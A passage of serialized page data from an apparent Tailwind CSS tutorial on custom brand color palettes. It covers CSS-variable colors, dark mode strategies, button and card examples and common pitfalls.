}\n}\n",[143,301337,301338,301342,301354,301358,301362,301366,301371,301375,301386,301397,301408,301419,301430,301441,301452,301463,301474,301485,301496,301500,301504,301508,301512],{"__ignoreMap":141},[1560,301339,301340],{"class":1562,"line":1563},[1560,301341,92454],{"class":1649},[1560,301343,301344,301346,301348,301350,301352],{"class":1562,"line":337},[1560,301345,11885],{"class":1576},[1560,301347,468],{"class":1570},[1560,301349,11890],{"class":1576},[1560,301351,8186],{"class":1669},[1560,301353,1571],{"class":1570},[1560,301355,301356],{"class":1562,"line":343},[1560,301357,17530],{"class":1570},[1560,301359,301360],{"class":1562,"line":365},[1560,301361,92475],{"class":1570},[1560,301363,301364],{"class":1562,"line":889},[1560,301365,92480],{"class":1570},[1560,301367,301368],{"class":1562,"line":1710},[1560,301369,301370],{"class":1649},"        \u002F\u002F Reference CSS variables\n",[1560,301372,301373],{"class":1562,"line":1717},[1560,301374,199395],{"class":1570},[1560,301376,301377,301379,301381,301384],{"class":1562,"line":1747},[1560,301378,199400],{"class":1576},[1560,301380,1663],{"class":1570},[1560,301382,301383],{"class":5634},"'rgb(var(--color-brand-50) \u002F \u003Calpha-value>)'",[1560,301385,11943],{"class":1570},[1560,301387,301388,301390,301392,301395],{"class":1562,"line":2507},[1560,301389,199412],{"class":1576},[1560,301391,1663],{"class":1570},[1560,301393,301394],{"class":5634},"'rgb(var(--color-brand-100) \u002F \u003Calpha-value>)'",[1560,301396,11943],{"class":1570},[1560,301398,301399,301401,301403,301406],{"class":1562,"line":2524},[1560,301400,199424],{"class":1576},[1560,301402,1663],{"class":1570},[1560,301404,301405],{"class":5634},"'rgb(var(--color-brand-200) \u002F \u003Calpha-value>)'",[1560,301407,11943],{"class":1570},[1560,301409,301410,301412,301414,301417],{"class":1562,"line":2529},[1560,301411,199436],{"class":1576},[1560,301413,1663],{"class":1570},[1560,301415,301416],{"class":5634},"'rgb(var(--color-brand-300) \u002F \u003Calpha-value>)'",[1560,301418,11943],{"class":1570},[1560,301420,301421,301423,301425,301428],{"class":1562,"line":2534},[1560,301422,199448],{"class":1576},[1560,301424,1663],{"class":1570},[1560,301426,301427],{"class":5634},"'rgb(var(--color-brand-400) \u002F \u003Calpha-value>)'",[1560,301429,11943],{"class":1570},[1560,301431,301432,301434,301436,301439],{"class":1562,"line":2542},[1560,301433,199460],{"class":1576},[1560,301435,1663],{"class":1570},[1560,301437,301438],{"class":5634},"'rgb(var(--color-brand-500) \u002F \u003Calpha-value>)'",[1560,301440,11943],{"class":1570},[1560,301442,301443,301445,301447,301450],{"class":1562,"line":2558},[1560,301444,199471],{"class":1576},[1560,301446,1663],{"class":1570},[1560,301448,301449],{"class":5634},"'rgb(var(--color-brand-600) \u002F \u003Calpha-value>)'",[1560,301451,11943],{"class":1570},[1560,301453,301454,301456,301458,301461],{"class":1562,"line":2570},[1560,301455,199483],{"class":1576},[1560,301457,1663],{"class":1570},[1560,301459,301460],{"class":5634},"'rgb(var(--color-brand-700) \u002F \u003Calpha-value>)'",[1560,301462,11943],{"class":1570},[1560,301464,301465,301467,301469,301472],{"class":1562,"line":6638},[1560,301466,199495],{"class":1576},[1560,301468,1663],{"class":1570},[1560,301470,301471],{"class":5634},"'rgb(var(--color-brand-800) \u002F \u003Calpha-value>)'",[1560,301473,11943],{"class":1570},[1560,301475,301476,301478,301480,301483],{"class":1562,"line":11615},[1560,301477,199507],{"class":1576},[1560,301479,1663],{"class":1570},[1560,301481,301482],{"class":5634},"'rgb(var(--color-brand-900) \u002F \u003Calpha-value>)'",[1560,301484,11943],{"class":1570},[1560,301486,301487,301489,301491,301494],{"class":1562,"line":11621},[1560,301488,199519],{"class":1576},[1560,301490,1663],{"class":1570},[1560,301492,301493],{"class":5634},"'rgb(var(--color-brand-950) \u002F \u003Calpha-value>)'",[1560,301495,11943],{"class":1570},[1560,301497,301498],{"class":1562,"line":11633},[1560,301499,50039],{"class":1570},[1560,301501,301502],{"class":1562,"line":11638},[1560,301503,28244],{"class":1570},[1560,301505,301506],{"class":1562,"line":11672},[1560,301507,11612],{"class":1570},[1560,301509,301510],{"class":1562,"line":19435},[1560,301511,4959],{"class":1570},[1560,301513,301514],{"class":1562,"line":19442},[1560,301515,1585],{"class":1570},[16,301517,301518],{},"Then define the actual values in your CSS:",[135,301520,301522],{"className":1554,"code":301521,"language":1556,"meta":141,"style":141},":root {\n  --color-brand-50: 239, 246, 255;\n  --color-brand-100: 219, 234, 254;\n  --color-brand-200: 191, 219, 254;\n  --color-brand-300: 147, 197, 253;\n  --color-brand-400: 96, 165, 250;\n  --color-brand-500: 59, 130, 246;\n  --color-brand-600: 37, 99, 235;\n  --color-brand-700: 29, 78, 216;\n  --color-brand-800: 30, 64, 175;\n  --color-brand-900: 30, 58, 138;\n  --color-brand-950: 23, 37, 84;\n}\n\n[data-theme=\"dark\"] {\n  --color-brand-50: 30, 58, 138;   \u002F* Swap light\u002Fdark *\u002F\n  --color-brand-100: 30, 64, 175;\n  \u002F* ... rest of the palette *\u002F\n}\n",[143,301523,301524,301530,301548,301570,301590,301612,301631,301649,301668,301689,301709,301728,301747,301751,301755,301767,301788,301806,301811],{"__ignoreMap":141},[1560,301525,301526,301528],{"class":1562,"line":1563},[1560,301527,2207],{"class":1566},[1560,301529,1571],{"class":1570},[1560,301531,301532,301534,301536,301538,301540,301542,301544,301546],{"class":1562,"line":337},[1560,301533,200057],{"class":2219},[1560,301535,1663],{"class":1570},[1560,301537,50908],{"class":1576},[1560,301539,1459],{"class":1570},[1560,301541,20005],{"class":1576},[1560,301543,1459],{"class":1570},[1560,301545,5400],{"class":1576},[1560,301547,2228],{"class":1570},[1560,301549,301550,301553,301555,301558,301560,301563,301565,301568],{"class":1562,"line":343},[1560,301551,301552],{"class":2219},"  --color-brand-100",[1560,301554,1663],{"class":1570},[1560,301556,301557],{"class":1576},"219",[1560,301559,1459],{"class":1570},[1560,301561,301562],{"class":1576},"234",[1560,301564,1459],{"class":1570},[1560,301566,301567],{"class":1576},"254",[1560,301569,2228],{"class":1570},[1560,301571,301572,301575,301577,301580,301582,301584,301586,301588],{"class":1562,"line":365},[1560,301573,301574],{"class":2219},"  --color-brand-200",[1560,301576,1663],{"class":1570},[1560,301578,301579],{"class":1576},"191",[1560,301581,1459],{"class":1570},[1560,301583,301557],{"class":1576},[1560,301585,1459],{"class":1570},[1560,301587,301567],{"class":1576},[1560,301589,2228],{"class":1570},[1560,301591,301592,301595,301597,301600,301602,301605,301607,301610],{"class":1562,"line":889},[1560,301593,301594],{"class":2219},"  --color-brand-300",[1560,301596,1663],{"class":1570},[1560,301598,301599],{"class":1576},"147",[1560,301601,1459],{"class":1570},[1560,301603,301604],{"class":1576},"197",[1560,301606,1459],{"class":1570},[1560,301608,301609],{"class":1576},"253",[1560,301611,2228],{"class":1570},[1560,301613,301614,301617,301619,301621,301623,301625,301627,301629],{"class":1562,"line":1710},[1560,301615,301616],{"class":2219},"  --color-brand-400",[1560,301618,1663],{"class":1570},[1560,301620,247145],{"class":1576},[1560,301622,1459],{"class":1570},[1560,301624,248863],{"class":1576},[1560,301626,1459],{"class":1570},[1560,301628,45885],{"class":1576},[1560,301630,2228],{"class":1570},[1560,301632,301633,301635,301637,301639,301641,301643,301645,301647],{"class":1562,"line":1717},[1560,301634,200077],{"class":2219},[1560,301636,1663],{"class":1570},[1560,301638,19995],{"class":1576},[1560,301640,1459],{"class":1570},[1560,301642,20000],{"class":1576},[1560,301644,1459],{"class":1570},[1560,301646,20005],{"class":1576},[1560,301648,2228],{"class":1570},[1560,301650,301651,301654,301656,301658,301660,301662,301664,301666],{"class":1562,"line":1747},[1560,301652,301653],{"class":2219},"  --color-brand-600",[1560,301655,1663],{"class":1570},[1560,301657,72719],{"class":1576},[1560,301659,1459],{"class":1570},[1560,301661,5334],{"class":1576},[1560,301663,1459],{"class":1570},[1560,301665,72728],{"class":1576},[1560,301667,2228],{"class":1570},[1560,301669,301670,301673,301675,301677,301679,301682,301684,301687],{"class":1562,"line":2507},[1560,301671,301672],{"class":2219},"  --color-brand-700",[1560,301674,1663],{"class":1570},[1560,301676,246313],{"class":1576},[1560,301678,1459],{"class":1570},[1560,301680,301681],{"class":1576},"78",[1560,301683,1459],{"class":1570},[1560,301685,301686],{"class":1576},"216",[1560,301688,2228],{"class":1570},[1560,301690,301691,301694,301696,301698,301700,301702,301704,301707],{"class":1562,"line":2524},[1560,301692,301693],{"class":2219},"  --color-brand-800",[1560,301695,1663],{"class":1570},[1560,301697,23995],{"class":1576},[1560,301699,1459],{"class":1570},[1560,301701,32226],{"class":1576},[1560,301703,1459],{"class":1570},[1560,301705,301706],{"class":1576},"175",[1560,301708,2228],{"class":1570},[1560,301710,301711,301713,301715,301717,301719,301721,301723,301726],{"class":1562,"line":2529},[1560,301712,200096],{"class":2219},[1560,301714,1663],{"class":1570},[1560,301716,23995],{"class":1576},[1560,301718,1459],{"class":1570},[1560,301720,246825],{"class":1576},[1560,301722,1459],{"class":1570},[1560,301724,301725],{"class":1576},"138",[1560,301727,2228],{"class":1570},[1560,301729,301730,301733,301735,301737,301739,301741,301743,301745],{"class":1562,"line":2534},[1560,301731,301732],{"class":2219},"  --color-brand-950",[1560,301734,1663],{"class":1570},[1560,301736,56390],{"class":1576},[1560,301738,1459],{"class":1570},[1560,301740,72719],{"class":1576},[1560,301742,1459],{"class":1570},[1560,301744,265128],{"class":1576},[1560,301746,2228],{"class":1570},[1560,301748,301749],{"class":1562,"line":2542},[1560,301750,1585],{"class":1570},[1560,301752,301753],{"class":1562,"line":2558},[1560,301754,1702],{"emptyLinePlaceholder":363},[1560,301756,301757,301759,301761,301763,301765],{"class":1562,"line":2570},[1560,301758,24385],{"class":1570},[1560,301760,56005],{"class":1566},[1560,301762,7297],{"class":1669},[1560,301764,56010],{"class":5634},[1560,301766,56013],{"class":1570},[1560,301768,301769,301771,301773,301775,301777,301779,301781,301783,301785],{"class":1562,"line":6638},[1560,301770,200057],{"class":2219},[1560,301772,1663],{"class":1570},[1560,301774,23995],{"class":1576},[1560,301776,1459],{"class":1570},[1560,301778,246825],{"class":1576},[1560,301780,1459],{"class":1570},[1560,301782,301725],{"class":1576},[1560,301784,3491],{"class":1570},[1560,301786,301787],{"class":1649},"\u002F* Swap light\u002Fdark *\u002F\n",[1560,301789,301790,301792,301794,301796,301798,301800,301802,301804],{"class":1562,"line":11615},[1560,301791,301552],{"class":2219},[1560,301793,1663],{"class":1570},[1560,301795,23995],{"class":1576},[1560,301797,1459],{"class":1570},[1560,301799,32226],{"class":1576},[1560,301801,1459],{"class":1570},[1560,301803,301706],{"class":1576},[1560,301805,2228],{"class":1570},[1560,301807,301808],{"class":1562,"line":11621},[1560,301809,301810],{"class":1649},"  \u002F* ... rest of the palette *\u002F\n",[1560,301812,301813],{"class":1562,"line":11633},[1560,301814,1585],{"class":1570},[16,301816,421,301817,301819,301820,468],{},[143,301818,92871],{}," placeholder is replaced by Tailwind when you use opacity modifiers like ",[143,301821,301822],{},"bg-brand-500\u002F50",[11,301824,301826],{"id":301825},"dark-mode-color-strategy","Dark Mode Color Strategy",[16,301828,301829],{},"When designing for dark mode, simply inverting your light mode palette usually doesn't work. Instead, consider these strategies:",[33,301831,301833],{"id":301832},"strategy-1-swap-light-and-dark-shades","Strategy 1: Swap Light and Dark Shades",[135,301835,301837],{"className":1607,"code":301836,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\ncolors: {\n  surface: {\n    light: '#ffffff',    \u002F\u002F Light mode: white background\n    dark: '#0f172a',     \u002F\u002F Dark mode: dark background\n  },\n  text: {\n    light: '#0f172a',    \u002F\u002F Light mode: dark text\n    dark: '#f8fafc',     \u002F\u002F Dark mode: light text\n  }\n}\n",[143,301838,301839,301843,301849,301855,301870,301886,301890,301896,301909,301923,301927],{"__ignoreMap":141},[1560,301840,301841],{"class":1562,"line":1563},[1560,301842,92454],{"class":1649},[1560,301844,301845,301847],{"class":1562,"line":337},[1560,301846,199576],{"class":1566},[1560,301848,37098],{"class":1570},[1560,301850,301851,301853],{"class":1562,"line":343},[1560,301852,199608],{"class":1566},[1560,301854,37098],{"class":1570},[1560,301856,301857,301860,301862,301865,301867],{"class":1562,"line":365},[1560,301858,301859],{"class":1566},"    light",[1560,301861,1663],{"class":1570},[1560,301863,301864],{"class":5634},"'#ffffff'",[1560,301866,70495],{"class":1570},[1560,301868,301869],{"class":1649},"\u002F\u002F Light mode: white background\n",[1560,301871,301872,301875,301877,301880,301883],{"class":1562,"line":889},[1560,301873,301874],{"class":1566},"    dark",[1560,301876,1663],{"class":1570},[1560,301878,301879],{"class":5634},"'#0f172a'",[1560,301881,301882],{"class":1570},",     ",[1560,301884,301885],{"class":1649},"\u002F\u002F Dark mode: dark background\n",[1560,301887,301888],{"class":1562,"line":1710},[1560,301889,11862],{"class":1570},[1560,301891,301892,301894],{"class":1562,"line":1717},[1560,301893,197245],{"class":1566},[1560,301895,37098],{"class":1570},[1560,301897,301898,301900,301902,301904,301906],{"class":1562,"line":1747},[1560,301899,301859],{"class":1566},[1560,301901,1663],{"class":1570},[1560,301903,301879],{"class":5634},[1560,301905,70495],{"class":1570},[1560,301907,301908],{"class":1649},"\u002F\u002F Light mode: dark text\n",[1560,301910,301911,301913,301915,301918,301920],{"class":1562,"line":2507},[1560,301912,301874],{"class":1566},[1560,301914,1663],{"class":1570},[1560,301916,301917],{"class":5634},"'#f8fafc'",[1560,301919,301882],{"class":1570},[1560,301921,301922],{"class":1649},"\u002F\u002F Dark mode: light text\n",[1560,301924,301925],{"class":1562,"line":2524},[1560,301926,4959],{"class":1570},[1560,301928,301929],{"class":1562,"line":2529},[1560,301930,1585],{"class":1570},[16,301932,301933],{},"Usage with class strategy:",[135,301935,301937],{"className":6417,"code":301936,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"bg-white dark:bg-slate-950 text-slate-900 dark:text-slate-50\">\n  Content here\n\u003C\u002Fdiv>\n",[143,301938,301939,301954,301959],{"__ignoreMap":141},[1560,301940,301941,301943,301945,301947,301949,301952],{"class":1562,"line":1563},[1560,301942,6431],{"class":1570},[1560,301944,7291],{"class":2484},[1560,301946,11423],{"class":1566},[1560,301948,7297],{"class":1570},[1560,301950,301951],{"class":5634},"\"bg-white dark:bg-slate-950 text-slate-900 dark:text-slate-50\"",[1560,301953,6441],{"class":1570},[1560,301955,301956],{"class":1562,"line":337},[1560,301957,301958],{"class":1570},"  Content here\n",[1560,301960,301961,301963,301965],{"class":1562,"line":343},[1560,301962,11242],{"class":1570},[1560,301964,7291],{"class":2484},[1560,301966,6441],{"class":1570},[33,301968,301970],{"id":301969},"strategy-2-use-separate-palettes","Strategy 2: Use Separate Palettes",[135,301972,301974],{"className":1607,"code":301973,"language":1609,"meta":141,"style":141},"colors: {\n  \u002F\u002F Light mode palette\n  light: {\n    bg: '#ffffff',\n    surface: '#f8fafc',\n    text: '#0f172a',\n  },\n  \u002F\u002F Dark mode palette  \n  dark: {\n    bg: '#0f172a',\n    surface: '#1e293b',\n    text: '#f8fafc',\n  }\n}\n",[143,301975,301976,301982,301987,301994,302005,302016,302027,302031,302036,302043,302053,302064,302074,302078],{"__ignoreMap":141},[1560,301977,301978,301980],{"class":1562,"line":1563},[1560,301979,199576],{"class":1566},[1560,301981,37098],{"class":1570},[1560,301983,301984],{"class":1562,"line":337},[1560,301985,301986],{"class":1649},"  \u002F\u002F Light mode palette\n",[1560,301988,301989,301992],{"class":1562,"line":343},[1560,301990,301991],{"class":1566},"  light",[1560,301993,37098],{"class":1570},[1560,301995,301996,301999,302001,302003],{"class":1562,"line":365},[1560,301997,301998],{"class":1566},"    bg",[1560,302000,1663],{"class":1570},[1560,302002,301864],{"class":5634},[1560,302004,11943],{"class":1570},[1560,302006,302007,302010,302012,302014],{"class":1562,"line":889},[1560,302008,302009],{"class":1566},"    surface",[1560,302011,1663],{"class":1570},[1560,302013,301917],{"class":5634},[1560,302015,11943],{"class":1570},[1560,302017,302018,302021,302023,302025],{"class":1562,"line":1710},[1560,302019,302020],{"class":1566},"    text",[1560,302022,1663],{"class":1570},[1560,302024,301879],{"class":5634},[1560,302026,11943],{"class":1570},[1560,302028,302029],{"class":1562,"line":1717},[1560,302030,11862],{"class":1570},[1560,302032,302033],{"class":1562,"line":1747},[1560,302034,302035],{"class":1649},"  \u002F\u002F Dark mode palette  \n",[1560,302037,302038,302041],{"class":1562,"line":2507},[1560,302039,302040],{"class":1566},"  dark",[1560,302042,37098],{"class":1570},[1560,302044,302045,302047,302049,302051],{"class":1562,"line":2524},[1560,302046,301998],{"class":1566},[1560,302048,1663],{"class":1570},[1560,302050,301879],{"class":5634},[1560,302052,11943],{"class":1570},[1560,302054,302055,302057,302059,302062],{"class":1562,"line":2529},[1560,302056,302009],{"class":1566},[1560,302058,1663],{"class":1570},[1560,302060,302061],{"class":5634},"'#1e293b'",[1560,302063,11943],{"class":1570},[1560,302065,302066,302068,302070,302072],{"class":1562,"line":2534},[1560,302067,302020],{"class":1566},[1560,302069,1663],{"class":1570},[1560,302071,301917],{"class":5634},[1560,302073,11943],{"class":1570},[1560,302075,302076],{"class":1562,"line":2542},[1560,302077,4959],{"class":1570},[1560,302079,302080],{"class":1562,"line":2558},[1560,302081,1585],{"class":1570},[33,302083,302085],{"id":302084},"strategy-3-css-variables-with-dark-mode","Strategy 3: CSS Variables with Dark Mode",[135,302087,302089],{"className":1554,"code":302088,"language":1556,"meta":141,"style":141},":root {\n  --color-surface: 255, 255, 255;\n  --color-text: 15, 23, 42;\n}\n\n[data-theme=\"dark\"] {\n  --color-surface: 15, 23, 42;\n  --color-text: 248, 250, 252;\n}\n",[143,302090,302091,302097,302115,302133,302137,302141,302153,302171,302191],{"__ignoreMap":141},[1560,302092,302093,302095],{"class":1562,"line":1563},[1560,302094,2207],{"class":1566},[1560,302096,1571],{"class":1570},[1560,302098,302099,302101,302103,302105,302107,302109,302111,302113],{"class":1562,"line":337},[1560,302100,2238],{"class":2219},[1560,302102,1663],{"class":1570},[1560,302104,5400],{"class":1576},[1560,302106,1459],{"class":1570},[1560,302108,5400],{"class":1576},[1560,302110,1459],{"class":1570},[1560,302112,5400],{"class":1576},[1560,302114,2228],{"class":1570},[1560,302116,302117,302119,302121,302123,302125,302127,302129,302131],{"class":1562,"line":343},[1560,302118,54609],{"class":2219},[1560,302120,1663],{"class":1570},[1560,302122,14854],{"class":1576},[1560,302124,1459],{"class":1570},[1560,302126,56390],{"class":1576},[1560,302128,1459],{"class":1570},[1560,302130,14520],{"class":1576},[1560,302132,2228],{"class":1570},[1560,302134,302135],{"class":1562,"line":365},[1560,302136,1585],{"class":1570},[1560,302138,302139],{"class":1562,"line":889},[1560,302140,1702],{"emptyLinePlaceholder":363},[1560,302142,302143,302145,302147,302149,302151],{"class":1562,"line":1710},[1560,302144,24385],{"class":1570},[1560,302146,56005],{"class":1566},[1560,302148,7297],{"class":1669},[1560,302150,56010],{"class":5634},[1560,302152,56013],{"class":1570},[1560,302154,302155,302157,302159,302161,302163,302165,302167,302169],{"class":1562,"line":1717},[1560,302156,2238],{"class":2219},[1560,302158,1663],{"class":1570},[1560,302160,14854],{"class":1576},[1560,302162,1459],{"class":1570},[1560,302164,56390],{"class":1576},[1560,302166,1459],{"class":1570},[1560,302168,14520],{"class":1576},[1560,302170,2228],{"class":1570},[1560,302172,302173,302175,302177,302180,302182,302184,302186,302189],{"class":1562,"line":1747},[1560,302174,54609],{"class":2219},[1560,302176,1663],{"class":1570},[1560,302178,302179],{"class":1576},"248",[1560,302181,1459],{"class":1570},[1560,302183,45885],{"class":1576},[1560,302185,1459],{"class":1570},[1560,302187,302188],{"class":1576},"252",[1560,302190,2228],{"class":1570},[1560,302192,302193],{"class":1562,"line":2507},[1560,302194,1585],{"class":1570},[135,302196,302198],{"className":1607,"code":302197,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\ncolors: {\n  surface: 'rgb(var(--color-surface) \u002F \u003Calpha-value>)',\n  text: 'rgb(var(--color-text) \u002F \u003Calpha-value>)',\n}\n",[143,302199,302200,302204,302210,302220,302230],{"__ignoreMap":141},[1560,302201,302202],{"class":1562,"line":1563},[1560,302203,92454],{"class":1649},[1560,302205,302206,302208],{"class":1562,"line":337},[1560,302207,199576],{"class":1566},[1560,302209,37098],{"class":1570},[1560,302211,302212,302214,302216,302218],{"class":1562,"line":343},[1560,302213,199608],{"class":1566},[1560,302215,1663],{"class":1570},[1560,302217,92769],{"class":5634},[1560,302219,11943],{"class":1570},[1560,302221,302222,302224,302226,302228],{"class":1562,"line":365},[1560,302223,197245],{"class":1566},[1560,302225,1663],{"class":1570},[1560,302227,92779],{"class":5634},[1560,302229,11943],{"class":1570},[1560,302231,302232],{"class":1562,"line":889},[1560,302233,1585],{"class":1570},[11,302235,65161],{"id":65160},[33,302237,302239],{"id":302238},"building-a-button-component","Building a Button Component",[135,302241,302243],{"className":6417,"code":302242,"language":6419,"meta":141,"style":141},"\u003C!-- Using your custom brand color -->\n\u003Cbutton class=\"\n  bg-brand-500 \n  hover:bg-brand-600 \n  active:bg-brand-700\n  text-white\n  py-2 px-4\n  rounded-lg\n  transition-colors\n\">\n  Brand Button\n\u003C\u002Fbutton>\n\n\u003C!-- Disabled state using lighter shade -->\n\u003Cbutton disabled class=\"bg-brand-200 text-brand-500 cursor-not-allowed\">\n  Disabled\n\u003C\u002Fbutton>\n",[143,302244,302245,302250,302262,302267,302272,302277,302282,302287,302292,302297,302303,302308,302316,302320,302325,302343,302348],{"__ignoreMap":141},[1560,302246,302247],{"class":1562,"line":1563},[1560,302248,302249],{"class":1649},"\u003C!-- Using your custom brand color -->\n",[1560,302251,302252,302254,302256,302258,302260],{"class":1562,"line":337},[1560,302253,6431],{"class":1570},[1560,302255,12250],{"class":2484},[1560,302257,11423],{"class":1566},[1560,302259,7297],{"class":1570},[1560,302261,169661],{"class":5634},[1560,302263,302264],{"class":1562,"line":343},[1560,302265,302266],{"class":5634},"  bg-brand-500 \n",[1560,302268,302269],{"class":1562,"line":365},[1560,302270,302271],{"class":5634},"  hover:bg-brand-600 \n",[1560,302273,302274],{"class":1562,"line":889},[1560,302275,302276],{"class":5634},"  active:bg-brand-700\n",[1560,302278,302279],{"class":1562,"line":1710},[1560,302280,302281],{"class":5634},"  text-white\n",[1560,302283,302284],{"class":1562,"line":1717},[1560,302285,302286],{"class":5634},"  py-2 px-4\n",[1560,302288,302289],{"class":1562,"line":1747},[1560,302290,302291],{"class":5634},"  rounded-lg\n",[1560,302293,302294],{"class":1562,"line":2507},[1560,302295,302296],{"class":5634},"  transition-colors\n",[1560,302298,302299,302301],{"class":1562,"line":2524},[1560,302300,8721],{"class":5634},[1560,302302,6441],{"class":1570},[1560,302304,302305],{"class":1562,"line":2529},[1560,302306,302307],{"class":1570},"  Brand Button\n",[1560,302309,302310,302312,302314],{"class":1562,"line":2534},[1560,302311,11242],{"class":1570},[1560,302313,12250],{"class":2484},[1560,302315,6441],{"class":1570},[1560,302317,302318],{"class":1562,"line":2542},[1560,302319,1702],{"emptyLinePlaceholder":363},[1560,302321,302322],{"class":1562,"line":2558},[1560,302323,302324],{"class":1649},"\u003C!-- Disabled state using lighter shade -->\n",[1560,302326,302327,302329,302331,302334,302336,302338,302341],{"class":1562,"line":2570},[1560,302328,6431],{"class":1570},[1560,302330,12250],{"class":2484},[1560,302332,302333],{"class":1566}," disabled",[1560,302335,11423],{"class":1566},[1560,302337,7297],{"class":1570},[1560,302339,302340],{"class":5634},"\"bg-brand-200 text-brand-500 cursor-not-allowed\"",[1560,302342,6441],{"class":1570},[1560,302344,302345],{"class":1562,"line":6638},[1560,302346,302347],{"class":1570},"  Disabled\n",[1560,302349,302350,302352,302354],{"class":1562,"line":11615},[1560,302351,11242],{"class":1570},[1560,302353,12250],{"class":2484},[1560,302355,6441],{"class":1570},[33,302357,302359],{"id":302358},"creating-a-card-with-subtle-borders","Creating a Card with Subtle Borders",[135,302361,302363],{"className":6417,"code":302362,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"bg-white dark:bg-slate-900 border border-slate-200 dark:border-slate-700 rounded-xl p-6\">\n  \u003Ch2 class=\"text-slate-900 dark:text-slate-100 text-xl font-semibold\">\n    Card Title\n  \u003C\u002Fh2>\n  \u003Cp class=\"text-slate-600 dark:text-slate-400 mt-2\">\n    Card content with proper dark mode colors.\n  \u003C\u002Fp>\n\u003C\u002Fdiv>\n",[143,302364,302365,302380,302395,302400,302408,302423,302428,302436],{"__ignoreMap":141},[1560,302366,302367,302369,302371,302373,302375,302378],{"class":1562,"line":1563},[1560,302368,6431],{"class":1570},[1560,302370,7291],{"class":2484},[1560,302372,11423],{"class":1566},[1560,302374,7297],{"class":1570},[1560,302376,302377],{"class":5634},"\"bg-white dark:bg-slate-900 border border-slate-200 dark:border-slate-700 rounded-xl p-6\"",[1560,302379,6441],{"class":1570},[1560,302381,302382,302384,302386,302388,302390,302393],{"class":1562,"line":337},[1560,302383,11223],{"class":1570},[1560,302385,11],{"class":2484},[1560,302387,11423],{"class":1566},[1560,302389,7297],{"class":1570},[1560,302391,302392],{"class":5634},"\"text-slate-900 dark:text-slate-100 text-xl font-semibold\"",[1560,302394,6441],{"class":1570},[1560,302396,302397],{"class":1562,"line":343},[1560,302398,302399],{"class":1570},"    Card Title\n",[1560,302401,302402,302404,302406],{"class":1562,"line":365},[1560,302403,12331],{"class":1570},[1560,302405,11],{"class":2484},[1560,302407,6441],{"class":1570},[1560,302409,302410,302412,302414,302416,302418,302421],{"class":1562,"line":889},[1560,302411,11223],{"class":1570},[1560,302413,16],{"class":2484},[1560,302415,11423],{"class":1566},[1560,302417,7297],{"class":1570},[1560,302419,302420],{"class":5634},"\"text-slate-600 dark:text-slate-400 mt-2\"",[1560,302422,6441],{"class":1570},[1560,302424,302425],{"class":1562,"line":1710},[1560,302426,302427],{"class":1570},"    Card content with proper dark mode colors.\n",[1560,302429,302430,302432,302434],{"class":1562,"line":1717},[1560,302431,12331],{"class":1570},[1560,302433,16],{"class":2484},[1560,302435,6441],{"class":1570},[1560,302437,302438,302440,302442],{"class":1562,"line":1747},[1560,302439,11242],{"class":1570},[1560,302441,7291],{"class":2484},[1560,302443,6441],{"class":1570},[11,302445,302447],{"id":302446},"common-pitfalls-to-avoid","Common Pitfalls to Avoid",[77,302449,302450,302456,302462,302468,302474],{},[44,302451,302452,302455],{},[47,302453,302454],{},"Don't skip shades",": Incomplete palettes (e.g., only 100, 500, 900) limit your design options",[44,302457,302458,302461],{},[47,302459,302460],{},"Maintain contrast",": Ensure your 500 shade has enough contrast against white for accessibility",[44,302463,302464,302467],{},[47,302465,302466],{},"Test in dark mode",": Colors that work in light mode may be invisible in dark mode",[44,302469,302470,302473],{},[47,302471,302472],{},"Avoid too many colors",": Stick to 2-3 main color families plus neutrals",[44,302475,302476,1663,302479,302482,302483,302486],{},[47,302477,302478],{},"Use opacity modifiers",[143,302480,302481],{},"bg-brand-500\u002F10"," is better than creating separate ",[143,302484,302485],{},"brand-50"," light shades",[11,302488,257800],{"id":257799},[41,302490,302491,302496],{},[44,302492,302493,302495],{},[98,302494,18588],{"href":18587}," - Convert colors to different formats for Tailwind config",[44,302497,302498,302503],{},[98,302499,302502],{"href":302500,"rel":302501},"https:\u002F\u002Fplay.tailwindcss.com\u002F",[14956],"Tailwind Play"," - Test your color configuration online",[2043,302505,302506],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki 